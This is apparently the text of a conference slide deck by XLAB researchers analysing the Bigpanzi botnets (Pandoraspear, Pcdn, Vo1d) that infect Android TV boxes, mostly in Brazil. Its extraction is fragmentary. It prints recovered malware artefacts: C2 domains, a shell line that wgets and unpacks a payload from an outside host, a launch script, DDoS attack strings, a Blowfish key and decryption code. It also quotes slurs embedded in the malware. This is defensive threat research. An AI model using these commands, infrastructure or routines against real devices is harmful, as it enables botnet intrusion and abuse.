

Bigpanzi: The Cybercrime Syndicate Behind Million-Device Botnets

Message From Bad Guys !



"dick surgey isn't cheap" 'Wow, you decrypted this. I bet you feel great about yourself. Can u tell me when your dad left?' nextstep.dyn' insight.geek' localmarket.indy' clearpath.libre' buildbetter.oss' ALIGN 4 brandlane.parody' DCB "Arrest Alex",0 aArrestAlex securevault.pirate' adaptiveflow.dyn' craftsuite.gopher' buildbetter.oss' himanurnice.ru' 'iholdxrp.ru'

WHO ARE WE?



Alex Turing >Kaspersky, 360, QAX >APT Hunter >{ Engine | Kernel } Developer >{ VB | SAS | Botconf } Speaker > DDoS Researcher

Our Team : XLAB

Formerly: 360netlabResearch: DDoS | DNS

1	index:8. b'/usr/lib'
	index:9, b'please. leave me alone netlab. i didnt provoke swear i love you '
	index:10, b'GEI /geoip/?res=10&r HIIP/1.1\r\nHost: 1.1.1.1\r\nConnection: Close\r\n\r\n'
	index:11, b'Netlab pls leave me alone I surrender'
	index:12, b'getcred.uk'
	index:13, b'api.opennicproject.org'

(b'xlab gay')
(b'paloaltoisgaytoo')
(b'/proc/')
(b'/proc/self/exe')
(b'/proc/net/tcp')
(b'/cmdline')
(b'/proc/uptime') XLAB GAY
(b'/exe')
(b'/maps') Palo Alto Networks Is GAY Too
(b'socket')
(b'wget curl ftp ntpdate echo')
(b'telnetd upnpc-static udhcpc /usr/bin/inetd ntpclient boa lighttpd httpd goahead mini_http miniupnpd dnsmasq sshd dhcpd')
(b'/dev/watchdog')
(b'/dev/misc/watchdog')
(b'TSource Engine Query')
(b'shell')
(b'system')
(b'enable')
(b'sh')
(b'/bin/busybox AISURU')
(b'ncorrect')
(b'AISURU: applet not found')
(b'today at xlab, botnet operators learn how to dance macarena')



Quick Survey

Bigpanzi syndicate ? Bigpanzi botnet ? Pandoraspear botnet? Pcdn botnet? V01d botnet ?

Today's Menu



Appetizer >The Bigpanzi Gang Overview

Main Course

An Unknown ELF Sample (0/64,2021)
Pandoraspear Botnet (170K,2021)
Pcdn Botnet (800K, 2024)
OTA Firmware (APK & Forum)
Vo1d Botnet (1.69 M,2025)

Dessert ≻Bigpanzi Identity (CTO?)





Bigpanzi Overview History, Assets, Scale...



Overview – Bigpanzi





Overview – Seized Hardcoded Assets



2 Pandoraspear C2 1 Pcdn C2 & Downloader

😼 .rodata:000 0000000E
🔄 .rodata:000 0000000E
🔄 .rodata:000 00000010
🔄 .rodata:000 00000010
🔄 .rodata:000 0000000F
🔄 .rodata:000 00000015
🔄 .rodata:000 0000000F
🔄 .rodata:000 00000011
🔄 .rodata:000 0000000F
🔄 .rodata:000 00000010
🔄 .rodata:000 0000000F
🔄 .rodata:000 0000000E

- ok3.mf1ve.<mark>com</mark>
- ok3.mflve.<mark>com</mark>

С

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- abcr.ftsym1.com
- pcn.panddna.<mark>com</mark>
- ppn.pnddon.<mark>com</mark>
- romatotti520.oicp<mark>.io</mark>
- apz.bsaldo.<mark>com</mark>
- jgp.pdltdgie.<mark>com</mark>
- apz.pdonno.<mark>com</mark>
- abcr.ftsym1.<mark>com</mark>
- apz.pdonno.<mark>com</mark>
- ok3.mflve.<mark>com</mark>

DCB DCB	CB "#!/system/bin/sh",0xA CB "if [! -f ",0x22,"/data/srs.sh",0x22," CB "then",0xA CB "cd data && wget ",0x22,"http:// <mark>fadfa.</mark>	
DCB DCB	CB "ad/pcdn.tar.gz",0x22," && tar xf pcdn. CB "gz",0xA CB "fi",0xA	
	DCB "zas8wie.snarutox.com",0	
	; DATA XREF	sub_450AC+5C1o
	; sub_450A0	C+60↑o
	ALIGN 4	
	DCB "in32hbccw.oneconcord.net",0	
	; DATA XREF	: sub_450AC+681o
	; sub_450A0	C+6C10
	ALIGN 8	
	DCB "pu9z3cca.trumpary.com",0	
		: sub_450AC+741o
	; sub_450A0	C+78↑o
	ALIGN 0×10	
	DCB "kp519bpa.fireisi.com",0	
		: sub_450AC+80↑o
	; sub_450A0	2+84↑o
	ALIGN 4	
	DCB "hgxx123p.ourhousei.com",0	
		: sub_450AC+8C↑o
	; sub 450A0	C+90↑o







Pcdn & Pandoraspear

Daily active: 800,000+

86% located in Brazil





Overview – Seized DGA Assets



256+ V01D DGA C2


\bigcirc	imb€	1024fd9.top		<u>2026年1月6日</u>	已激活
\bigcirc	bnw:	da44f6b.top	•••	<u>2026年1月6日</u>	已激活
\bigcirc	bftni	10945f1.top		<u>2026年1月6日</u>	已激活
\bigcirc	<u>gagt</u>	44c0eec.top	•••	<u>2026年1月6日</u>	已激活
\bigcirc	<u>iydq</u>	<u>38043e.top</u>		<u>2026年1月6日</u>	已激活
\bigcirc	<u>jbnh</u>	8 <u>594a17.top</u>		<u>2026年1月6日</u>	已激活
\bigcirc	<u>nbm</u>	<u>8204ae6.top</u>	•••	<u>2026年1月6日</u>	已激活
\bigcirc	osna	2794605.top	•••	<u>2026年1月6日</u>	已激活
\bigcirc	<u>uuq</u> v	437455c.top	•••	<u>2026年1月6日</u>	已激活
\bigcirc	<u>xpuv</u>	a7541ab.top	•••	<u>2026年1月6日</u>	已激活
\bigcirc	xrrxl	042986.top	•••	<u>2026年1月6日</u>	已激活

\bigcirc	fvc	2c2dd4.top	•••	<u>2026年1月9日</u>	已激活
\bigcirc	<u>hbç</u>	e49b7ec.top		<u>2026年1月9日</u>	已激活
\bigcirc	суу)714551.top		<u>2026年1月9日</u>	已激活
\bigcirc	iqfl	2d4756.top	•••	<u>2026年1月9日</u>	已激活
\bigcirc	<u>iyk</u>	24a6cb.top	•••	<u>2026年1月9日</u>	已激活
\bigcirc	npr)35ebc7.top	•••	<u>2026年1月9日</u>	已激活
\bigcirc	ntg	f197570.top		<u>2026年1月9日</u>	已激活
\bigcirc	<u>qsc</u>	ead4fee.top	•••	<u>2026年1月9日</u>	已激活
\bigcirc	zvx	da0dd0.top	•••	<u>2026年1月9日</u>	已激活
\bigcirc	esh	1965680.top	•••	<u>2026年1月9日</u>	已激活
\bigcirc	iilic	7946b.top	•••	<u>2026年1月9日</u>	已激活
\bigcirc	rlo:	<u>bc39d1.top</u>	•••	<u>2026年1月9日</u>	已激活

Overview – Scale




Peak: 1.58M+ Daily : 900,000+



Worldwide

Vo1d





The Genesis of All

An Unknown ELF sample from 2021

Packer, DDoS, Mirai, C2 ...

The Unknown – Packer



VT live hunt

	import "e	1f"
	rule modi	fied_upx
	{	
	conditior	:
	posit	ives <=5 and
	(elf.	number_of_sections==0 or elf.number_of_sections > 50) and elf.number_of_segments <=3
	a	nd
	(
		uint8(0x4)==0x1 and uint8(0x5)==0x1
		and
	uir	t32(0x34+elf.number_of_segments*0x20+0x4)!=0x21585055
	and	
		uint32(0x34+elf.number_of_segments*0x20+0xc)==0x0
		and
		uint32(0x34+elf.number_of_segments*0x20+0x10) !=0x0
		and
		<pre>uint32(0x34+elf.number_of_segments*0x20+0x10)>=uint32(0x34+elf.number_of_segments*0x20+0)</pre>
		and
		uint32(0x34+elf.number_of_segments*0x20+0x14)>uint32(0x34+elf.number_of_segments*0x20+0x1
1		and
2		uint32(0x34+elf.number_of_segments*0x20+0x18)>uint32(0x34+elf.number_of_segments*0x20+0x1
		and
		uint32(0x34+elf.number_of_segments*0x20+0x1c)!=0
		and
		uint32(0x34+elf.number_of_segments*0x20+0x10)>filesize

standard upx

7F	45	4C	46-01	01	01	03-00	00	00	00-00	00	00	00	ELF
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)8	4E	03	00-00	00	00	05 - 34	00	20	00-03	00	28	00	?N□ □ (
)3	00	01	00-01	00	00	00-00	00	00	00-00	00	00	00	
)()	00	00	00-00	10	00	00-CC	AC	08	00-06	00	00	00	
)()	10	00	00-01	00	00	00-00	00	00	00-00	B0	08	00	
)()	B0	08	00-8D	4B	03	00-8D	4B	03	00-05	00	00	00	?□?K□?K□□
)()	10	00	00-51	E5	74	64-00	00	00	00-00	00	00	00	🗆 Q?td
									00-06				
)()	00	00	00-ED	5B	6E	EC- <mark>55</mark>	50	58	21-0C	0A	0E	17	?[n? <mark>UPX!</mark> []]]]

modified upx



The Unknown – Packer



Size

237.61 KB

Last Analysis Date

5 minutes ago

<u>ð</u>8

ELF

It works!!!

0x71284075, 31/64

7F	45	4C	46 - 01	01	01	03-00	00	00	00-00	00	00	00	ELF
03	00	28	00-01	00	00	00-0C	AA	03	00-34	00	00	00	
00	00	00	00-00	00	00	05 - 34	00	20	00-03	00	28	00	[4 □(
00	00	00	00-01	00	00	00-00	00	00	00-00	00	00	00	
00	00	00	00-43	B3	03	00-43	B3	03	00-05	00	00	00	С?□С?□□
00	10	00	00-01	00	00	00-00	00	00	00-00	C0	03	00	
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00	00	00	00-AA	12	24	BF-75	40	28	71-48	09	0D	17	? □\$? <mark>u@(q</mark> H□□

0x414d4f52, 11/64

7F	45	4C	46-01	01	01	03-00	00	00	00-00	00	00	00	ELF	
03	00	28	00-01	00	00	00-0C	AA	03	00-34	00	00	00	$\Box(\Box \Box^{2}\Box 4$	
00	00	00	00-00	00	00	05 - 34	00	20	00-03	00	28	00	[4] □ (
00	00	00	00-01	00	00	00-00	00	00	00-00	00	00	00		
00	00	00	00-43	Β3	03	00-43	B3	03	00-05	00	00	00	$C? \square C? \square \square$	
00	10	00	00-01	00	00	00-00	00	00	00-00	C0	03	00		
00	C0	03	00-00	00	00	00-CC	D4	05	00-06	00	00	00	?□ ??□□	
00	10	00	00-51	E5	74	64-00	00	00	00-00	00	00	00	🗆 Q?td	
00	00	00	00-00	00	00	00-00	00	00	00-06	00	00	00		
00	00	00	00-AA	12	24	BF-52	4F	4D	41-48	09	0D	17	? □\$? <mark>ROMA</mark> H□□	
		() 11/	64 security vend	ors flagg	ed this f	ile as malicious				Ļ	Follow	v C	Reanalyze \pm Download \checkmark \Rightarrow Similar \checkmark Mor	re

bc18589db2f8af703484b1973ea4e4c80516e2f6a83db36bf6f41d0b61aecf7b

pandoraspear_0012_qax_lab

elf arm shared-lib

31 764)
Community Score	• *

(1) 31/64 security vendors flagged this file as malicious 🗘 Follow 🗸 C Reanalyze 🗄 Download 🗸 🛸 Similar 🗸 More 🔌

Size Last Analysis Date 237.61 KB a moment ago

/ 64

Score

Community

elf shared-lib arm

c86ac629af7b4443f01c237257dce6c60167fcf8418963c9e550313bddd26b0b

The Unknown – DDoS

Strings



Borrow code from mirai

/htv/<mark>attack</mark>.log

PID %d forking (#%d), child (%d) attacks %s, UDP\n PID %d forking (#%d), child (%d) attacks %s, SYN\n PID %d forking (#%d), child (%d) attacks %s, ICMP\n PID %d forking (#%d), child (%d) attacks %s, MIX\n PID %d forking (#%d), child (%d) attack-bcast %s, SMURF\n PID %d forking (#%d), child (%d) attacks %s, TARGA3\n PID %d forking (#%d), child (%d) attacks %s, DNSFLOOD\n Failed to create raw socket. Aborting attack

v0 = calloc(1u, 8u); v0[4] = 0;v1 = (unsigned __int8)byte_5DAD0; *(_DWORD *)v0 = sub_37334; v2 = realloc((void *)dword_5DAD4, 4 - -4 * v1); dword 5DAD4 = (int) v_{2} ; v3 = byte 5DAD0 + 1;v2[(unsigned int8)byte 5DAD0] = v0; byte 5DAD0 = v3;v4 = calloc(1u, 8u);v4[4] = 1;*(_DWORD *)v4 = sub_37C2C; v5 = realloc(v2, 4 * v3 + 4);dword_5DAD4 = (int)v5; $v6 = byte_5DAD0 + 1;$ v5[(unsigned __int8)byte_5DAD0] = v4; byte_5DAD0 = v6;^{v7} = calloc(1u, 8u); mirai attack init $\sqrt{7}[4] = 2;$ *(_DWORD *)v7 = sub_38BDC; v8 = realloc(v5<mark>, 4 * v6 + 4);</mark> dword 5DAD4 = (int)v8;v9 = byte 5DAD0 + 1;v8[(unsigned int8)byte 5DAD0] = v7; byte 5DAD0 = v9;v10 = calloc(1u, 8u);v10[4] = 9;*(DWORD *)v10 = sub 3A84C; v11 = realloc(v8, 4 * v9 + 4); dword_5DAD4 = (int)v11; v12 = byte 5DAD0 + 1;v11[(unsigned int8)byte 5DAD0] = v10; byte 5DAD0 = v12; v13 = calloc(1u, 8u);v13[4] = 3;*(DWORD *)v13 = sub 3AB24; v14 = realloc(v11, 4 * v12 + 4);

The Unknown – Backdoor



	👧 Loca	l cross referer	nces to cmdid	id – O
	Xref	Line	Column	n Pseudocode line
	w	502	16	cmdid = atoi((const char *)&v128);
	r	503	22	v54 = cmdid;
	/ r	504	21	if (cmdid >= 41)
	r	506	21	if (cmdid >= 34)
	r	508	23	if (cmdid >= 37)
	r	510	25	if (cmdid >= 38)
	r	512	27	if (cmdid >= 39)
	r	514	29	if (cmdid == 39)
	r	553	28	else if (cmdid >= 35)
	r	567	36	sub_113F0(v102, cmdid);
	r	576	26	else if (cmdid >= 31)
	r	578	23	if (cmdid >= 32)
	r	607	26	else if (cmdid >= 12)
IDA REFS	r	609	23	if (cmdid >= 21)
	r	611	25	if (cmdid == 21)
	r	618	28	else if (cmdid == 12)
	r	625	26	else if (cmdid == 11)
	r	634	19	if (cmdid > = 3000)
	r	636	19	if (cmdid >= 110)
	r	638	21	if (cmdid >= 200)
	r	640	23	if (cmdid >= 201)
	r	642	25	if (cmdid == 201 && v52 >= 6)
	r	712	26	else if (cmdid == 110)
	r	717	24	else if (cmdid >= 42)
	r	719	21	if (cmdid >= 88)
	r	721	23	if (cmdid == 88)
	r	735	26	else if (cmdid == 42)
	r	746	17	if (cmdid < 4004)
	r	748	17	if (cmdid >= 5555)
	r	750	19	if (cmdid >= 6269)
	r	752	21	if (cmdid == 6269)
	r	759	24	else if (cmdid == 5555)
	r	769	22	else if (cmdid >= 5000)
	r	771	19	if (cmdid == 5000)
	r	781	22	else if (cmdid == 4004)
	Line 16	of 39		
				OK Cancel Search Help

The Unknown – C2



4 GROUP

qmemcpy(v124, "ok3.mf1ve.com", 0x60u); qmemcpy(v123, "pcn.panddna.com", sizeof(v123)); qmemcpy(v122, "apz.bsaldo.com", sizeof(v122)); qmemcpy(v121, "abcr.ftsym1.com", sizeof(v121));


aOk3Mf1veCom	DCB	"ok3.mf1ve.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
		; DATA XREF: main+70↑o
		; main+801o
aOk3MflveCom	DCB	"ok3.mflve.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
aAbcrFtsym1Com_0	9 DCB	"abcr.ftsym1.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
aPcnPanddnaCom	DCB	"pcn.panddna.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
		; DATA XREF: main+8C1o
		; main+98↑o
aPpnPnddonCom	DCB	"ppn.pnddon.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
aRomatotti5200i	DCB	"romatotti520.oicp.io",0,0,0,0,0,0,0,0,0,0,0,0
aApzBsaldoCom	DCB	"apz.bsaldo.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
		; DATA XREF: main+A41o
		; main+B0↑o
aJgpPdltdgieCom	DCB	"jgp.pdltdgie.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
aApzPdonnoCom	DCB	"apz.pdonno.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
aAbcrFtsym1Com	DCB	"abcr.ftsym1.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
		; DATA XREF: main+BC↑o
		; main+C8↑o
aApzPdonnoCom_0	DCB	"apz.pdonno.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
aOk3MflveCom_0	DCB	"ok3.mflve.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

The Unknown – A Big FISH



50,000+ bots → located in Brazil

> cyclical fluctuations



170,000+ at the peak



The Big Fish Bites Back





We observed Bot Scale is shrinking

We experienced adversarial operations





A Ghost with Roots in 2016

The Pandoraspear Botnet

Evolution, Algorithm, Harvest, Leads ...

Pandoraspear - Samples



From 2016 to 2024, 15 versions

C:\work\1001night\pandora_final\pandora_sample	es and a second s		
n Name	Size	Date	Time
	Up	24/09/27	
pandoraspear_0001		21/05/28	
pandoraspear_0002		21/05/30	
pandoraspear_0003		08/02/29	
pandoraspear_0004		09/01/01	
pandoraspear_0005		08/02/29	
pandoraspear_0006		23/09/24	
pandoraspear_0007		21/07/30	
pandoraspear_0008		21/06/02	
pandoraspear_0009		22/09/30	
pandoraspear_0010		23/12/15	
pandoraspear_0012		24/09/25	
pandoraspear_0014		24/09/25	
pandoraspear_0015		24/07/26	
pandoraspearrk_0010		23/12/26	
pandoraspearrk_0013		24/09/25	
pandoraspearrk_0015	1142 K	24/09/08	12:25

Pandoraspear - Evolution



2016.x - 2023.12 > 8 years > V1 - V10



V4: leverage Mirai attack

vectors



2024.01 - 2024.09 > 9 months > V11 - V15



V14: New C2 / Hosts Server 2024.07.29

<pre>memcpy(v196,</pre>	"ok3.mflve.com", 0x80u);
memcpy(v195,	"pcn.panddna.com", sizeof(v195));
memcpy(v194,	<pre>"apz.pdonno.com", sizeof(v194));</pre>
memcpy(v193,	"alwkic.vd0h1e7d.com", sizeof(v193));
memcpy(v192,	<pre>"hxbwhnxs.bv1tpvdco.com", sizeof(v192));</pre>
memcpy(v191,	<pre>"ynqq.gr8651hdo.com", sizeof(v191));</pre>
<pre>memcpy(v182,</pre>	"http://pandoramain.ks1ado.com:8080/marketdatas/dns/hosts", sizeof(v182));
<pre>memcpy(v181,</pre>	"http://pandorabackup.lftpdo.com:8080/marketdatas/dns/hosts", sizeof(v181))

Pandoraspear - Evolution



2024.01 - 2024.09 > 9 months > V11 - V15



ok3.mflve.com yfyrtnpa.bggs1g0ce<mark>.com</mark> apz.pdonno.com ttvbcgq.cd67lgioe.com pcn.panddna<mark>.com</mark> ppn.pnddon.con avmrtd.7vlonovt.com pootjgb.jgilaenvo.cor apz.pdonno.com jgp.fda1od<mark>.com</mark> alwkic.vd0h1e7d.com apz.bsaldo<mark>.com</mark> alwkic.vd0h1e7d.com **New Infrastructures** pootjgb.jgilaenvo<mark>.con</mark> jgp.fda1od.com pcn.panddna<mark>.com</mark> hxbwhnxs.bv1tpvdco.com gwfxoxk.lfh5gcobf.con ynqq.gr865lhdo.com zooed.78vaelocd.com yngg.gr865lhdo<mark>.com</mark> zooed.78vaelocd.com pootjgb.jgilaenvo<mark>.com</mark> pcn.panddna.com http://pandoramain.ks1ado<mark>.com</mark>:8080/marketdatas/dns/hosts http://fvcgrsas.lfhgdo.com:8080/marketdatas/dns/hosts http://pandoramain.gdw1gie.com:8080/marketdatas/dns/hosts http://pandoramain-1794008345.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts http://pandorabackup.lftpdo<mark>.com</mark>:8080/marketdatas/dns/hosts http://werdzxa.9lhgdo.com:8080/marketdatas/dns/hosts http://pandorabackup.lfgs1gie.com:8080/marketdatas/dns/hosts http://pandorabackup-1322908155.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts

http://pandorabackup.lftpdo<mark>.com</mark>:8080/marketdatas/dns/name

V14: New C2 / Hosts Server 2024.07.29

qmemcpy(v196,	"ok3.mflve.com", 0x80u);
qmemcpy(v195,	<pre>"pcn.panddna.com", sizeof(v195));</pre>
qmemcpy(v194,	<pre>"apz.pdonno.com", sizeof(v194));</pre>
qmemcpy(v193,	"alwkic.vd0h1e7d.com", sizeof(v193));
qmemcpy(v192,	<pre>"hxbwhnxs.bv1tpvdco.com", sizeof(v192));</pre>
qmemcpy(v191,	"ynqq.gr865lhdo.com", sizeof(v191));
qmemcpy(v182,	"http://pandoramain.ks1ado.com:8080/marketdatas/dns/hosts", sizeof(v182));
qmemcpy(v181,	"http://pandorabackup.lftpdo.com:8080/marketdatas/dns/hosts", sizeof(v181));



Pandoraspear - Functionality



From 2016 to 2024, 15 versions

	C:\work\1001night\pandora_final\pandora_samples				
n	Name	Size	Date 24/09/27	Time	Key Features
					Nev realures
pandoraspear_0001			21/05/28		
pandoraspear_0002			21/05/30		
pandoraspear_0003			08/02/29		
pandoraspear_0004			09/01/01		1. Hijack Hosts
pandoraspear_0005			08/02/29		2. Launch Pcdn
pandoraspear_0006			23/09/24		
pandoraspear_0007			21/07/30		3. Execute C2 commands
pandoraspear_0008			21/06/02		
pandoraspear_0009			22/09/30		
pandoraspear_0010			23/12/15		
pandoraspear_0012			24/09/25		
pandoraspear_0014			24/09/25		
pandoraspear_0015			24/07/26		
pandoraspearrk_0010			23/12/26		
pandoraspearrk_0013			24/09/25		
pandoraspearrk_0015		1142 K	24/09/08	12:25	

Pandoraspear – Hijack Hosts



2 Steps

- 1. Downloads an encrypted hosts file from remote server, decrypts it with Blowfish
- 2. Replaces the device's /etc/hosts file to perform DNS hijacking

Remote Server

http://werdzxa.9lhgdo.com:8080/marketdatas/dns/hostshttp://fvcgrsas.lfhgdo.com:8080/marketdatas/dns/hostshttp://pandoramain.ks1ado.com:8080/marketdatas/dns/hostshttp://pandoramain.gdw1gie.com:8080/marketdatas/dns/hostshttp://pandorabackup.lftpdo.com:8080/marketdatas/dns/hostshttp://pandorabackup.lftpdo.com:8080/marketdatas/dns/hostshttp://pandorabackup.lftpdo.com:8080/marketdatas/dns/hostshttp://pandorabackup.lftpdo.com:8080/marketdatas/dns/hostshttp://pandorabackup.lfgs1gie.com:8080/marketdatas/dns/hostshttp://pandorabackup.lfgs1gie.com:8080/marketdatas/dns/hostshttp://pandoramain-1794008345.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts

http://pandorabackup-1322908155.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts

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<u>eeze</u>	27-Nov- <mark>20</mark> 2	0 17:09 408
<u>osts</u>	10-Mar- <mark>202</mark>	10:04 2.5K
osts_2017072	27 27-Jul- <mark>201</mark>	<mark>8</mark> 13:59 396
osts_2018062	27 27-Jun- <mark>201</mark>	<mark>8</mark> 15:13 84
osts_2018062	27 <u>_localhost_tigre</u> 27-Jun- <mark>201</mark>	<mark>8</mark> 15:44 168
osts_2018072	27 27-Jul- <mark>201</mark>	<mark>8</mark> 13:56 180
osts_2018073	<u>30</u> 29-Jul- <mark>201</mark>	8 12:59 1.5K
osts_2018081	<u>10</u> 30-Jul- <mark>201</mark>	8 20:07 960
osts_2018082	2 <u>1</u> 10-Aug- <mark>201</mark>	<mark>8</mark> 10:15 972
osts_2018101	<u>11</u> 21-Aug- <mark>20</mark> 1	8 16:08 1.3K
osts_2018101	<u>16</u> 11-Oct- <mark>201</mark>	8 17:08 1.3K
osts_2018102	2 <u>4</u> 16-Oct- <mark>201</mark>	8 09:53 1.3K
osts_2019030	<u>)8</u> 08-Mar- <mark>201</mark>	9 10:32 1.3K
osts_2019031	<u>13</u> 14-Mar- <mark>201</mark>	<mark>9</mark> 09:36 1.2K
osts_2019031	<u>14</u> 14-Mar- <mark>201</mark>	9 09:39 1.5K
osts_2019032	2 <mark>6</mark> 26-Mar- <mark>201</mark>	9 11:42 1.2K
osts_2019070	<u>)8</u> 08-Jul- <mark>201</mark>	9 19:39 1.5K
osts_2019081	<u>19</u> 19-Aug- <mark>201</mark>	<mark>9</mark> 09:51 1.6K
osts_2018072	<u>291302</u> 29-Jul- <mark>201</mark>	8 13:00 1.5K
osts_back	15-Apr- <mark>202</mark>	14:44 1.6K
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Pandoraspear - Algorithm



3 Steps to decrypt

(not base64)

- 1. Code Table replacement
- 2. Shift Calculation
- 3. Blowfish ECB decryption

34 # 1:Table replacement 35 tab = "./0123456789abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 36 for i in range(len(dec)): 37 index = tab.find(dec[i]) 38 mylist.append(index) 40 # 2: Shift Calculation 41 for i in range(0, len(mylist), 6): 42 tmp = 0 43 for j in range(6): 44 tmp ^= mylist[i + j] << (j * 6) 45 output.append(tmp) 46 output[0::2], output[1::2] = output[1::2], output[0::2] 47 for i in output: 48 s = struct.pack('>L', i) 49 out += s 50 51 # 3: Blowfish decryption 52 bl = Blowfish.new(b"zAw2xidjP3eHQ", Blowfish.MODE_ECB) 53 plaintext = bl.decrypt(out) 54 print(plaintext)

Reasons for

We observed □ Bot Scale is shrinking

🧾 选择 edit hosts-10-Mar-2025.decrypted - Far 3.0.6116.0 x64	
D: \dev_turing\python\pandora\hosts=10-Mar=2025. decry 142. 0. 141. 169 cdab. p2mqt. com 94. 75. 218. 122 b1. str2c. com 81. 171. 0. 77 img. p2mqt. com 23. 12. 198. 18 ageniusvod. cc 18. 182. 215. 73 dmdz. res4f. com 18. 182. 215. 73 p5x. ty3w2. com 173. 255. 221. 98 apz. bsaldo. com 71. 19. 252. 13 jgp. pdltdgie. com 71. 19. 250. 244 jdak. jdsaf. com 71. 19. 250. 244 jdl. oygaf. com 71. 19. 250. 244 hss. nfdaf. com 71. 19. 250. 244 hss. kfdaf. com 207. 38. 87. 205 jdz. 1gdaf. com 52. 8. 212. 100 snh. oygaf. com	pted
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Pandoraspear – Algorithm



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"Borrow Code" From Lyceum

char * decrypt_string (char *key, char *str)

UWORD_32bits left, right; char *p, *s, *dest, *d; int i;

#ifdef _NO_ENCRYPTION_
 return str;
#endif

dest = (char *) malloc (strlen (str) + 12); s = (char *) malloc (strlen (str) + 12);strcpy (s, str); while (*p) p++; for (i = 0; i < 12; i++)*p++ = 0;blowfish_init (key, strlen (key), 0); while (*p) right = 0L; left = 0L: for (i = 0; i < 6; i++)right = (base64dec (*p++)) << (i * 6); for (i = 0; i < 6; i++)left |= (base64dec (*p++)) << (i * 6); blowfish_decipher (&left, &right); for (i = 0; i < 4; i++) $*d++ = (1eft \& (0xff \iff ((3 - i) * 8))) >> ((3 - i) * 8);$ for (i = 0; i < 4; i++)*d++ = (right & (0xff << ((3 - i) * 8))) >> ((3 - i) * 8);*d = 0;free (s); return dest;

Pandoraspear – Launch Pcdn



2 Steps

- 1. Decrypt Sensitive Strings
- 2. Build them into a Launch script


byte 68960 DCB 0xB,0x1B,0x4C,0x58,0x5E,0x24,0x88,0x96,0x88,0x81 ; DATA XREF: launch pcdn+34¹0 DCB 0x92,0x9A,0x24,0x9F,0x66,0x9B,0x24,0x88,0x65, DCB 0x8D,0x66,0x91,0x4A,0x9D,0x8D,0x88,0x89,0x9C,0x8F DCB 0x92,0x8D,0x5D,0x5A,0x83,0x5D,0x9C,0x8F,0x92,0x8D DCB 0x89,0x9C,0x8F,0x92,0x8D,0x5D,0x5F,0x52,0x88,0x5F DCB 0x89,0x9E,0x8C,0x60,0x5D,0x5C,0x90,0x8D,0x8F,0x66 DCB 0x9B,0x81,0x5D,0x51,0x4F,0x8A,0x5C,0x9D, 7,0x66 DCB 0x93,0x5D,0x70,0x5D,0x5A,0x97,0x5D,0x51,0x8D,0x66 DCB 0x91,0x5D,0x6A,0x50,0x81,0x65,0x92,0x9B, 7,0x52 DCB 0x88, 7,0x93,0x66, 7, 0 byte 689C0 DCB 0x76,0x1E,0x78,0x69,0x3D,0x33,0x3D,0x3E,0x2F,0x27 ; DATA XREF: launch_pcdn+3C↑o DCB 0x69,0x2C,0x23,0x28,0x69,0x3A,0x2D,0x2E,0x28, 0 bvte 689D4 DCB 0xBF,0x14,0x89,0xB0,0xF4,0xCE,0xF4,0xCB,0xFA,0xF2 ; DATA XREF: launch pcdn+A81c DCB 0xB0,0xE5,0xFE,0xF1,0xB0,0xF7,0xE4,0xFB,0xF1,0xA7 DCB 0x81,0xB0,0xFB,0xFA,0xC9,0xB0,0xF1,0xCA,0xF3,0xF3 DCB 0xA7,0xB5,0x81,0xB9,0xB6,0xA7,0xB9,

#!/system/bin/sh
pid=`ps|grep -v grep|grep "/system/bin/pcdn" |awk '{print \$2}'`
if [-z \$pid];then
/system/bin/pcdn >/dev/null 2>&1 &
or
/data/.pcdn >/dev/null 2>&1 &
fi

Pandoraspear & Pcdn "close friend"

Pandoraspear - Algorithm





Pandoraspear – Execute C2 CMD




2 Steps

- 1. Send an encrypted beacon to C2
- 2. Decrypt C2 commands and execute the corresponding functions

Beacon Format {1 or 2}

Support two formats based on SN retrieval success



Pandoraspear – Beacon Harvest



Version

						1,100,571 hits 🛛 🛛	leset search		
1					Sep 18	8, 2024 @ 22:20:42.705 - Sep 25, 2024	@ 22:20:42.705 per Hour V		
Count	10000 8000 6000 4000 2000 0	4	أتتلكم	đ			his dist		
		2024-09-19 00:00		2024-09-20 00:00	2024-09-21 00:00	2024-09-22 00:00	2024-09-23 00:00	2024-09-24 00:00	2024-09-25 00:00
	Time 🗸		ctags	ip4.sip	geo.country_name	@timestamp geo.city_name	appl.ptext		
>	Sep 25, 2	024 @ 22:19:46.350	pandoraspear	179.125.9.219	Brazil	Belo Horizonte	1000012.00B8:4D:43:42:43:8A000080214560		
>	Sep 25, 2	024 @ 22:19:45.782	pandoraspear	186.205.18.247	Brazil	Rio de Janeiro	100008e.03-15.12-10033395000080110260193d3d0BR0Rio d	e Janeiro@Claro NXT Telecomunicacoes	Ltda®
>	Sep 25, 2	024 @ 22:19:45.232	<mark>pandoraspear</mark>	170.79.210.212	Brazil	Praia Grande	1000012.00A8:20:06:BA:1E:6D00009074810		
>	Sep 25, 2	024 @ 22:19:44.402	pandoraspear	191.177.139.227	Brazil	Curitiba	100008e.05-18.01-10511595000060260350193d3d0BR@Curit	tiba⊕Claro NXT Telecomunicacoes Ltda@	
>	Sep 25, 2	024 @ 22:19:43.117	pandoraspear	168.121.98.100	Brazil	Ubatuba	1000@8e.05-17.03-10061549@0005@18580@193d3d@BR@Ubatu OS DE TELEINFORMATICA LTDA®	uba@TRIXNET SERVI	
>	Sep 25, 2	024 @ 22:19:41.597	pandoraspear	186.225.189.207	Brazil	Ervalia	1000012.00B8:4D:43:42:17:73000080101900		
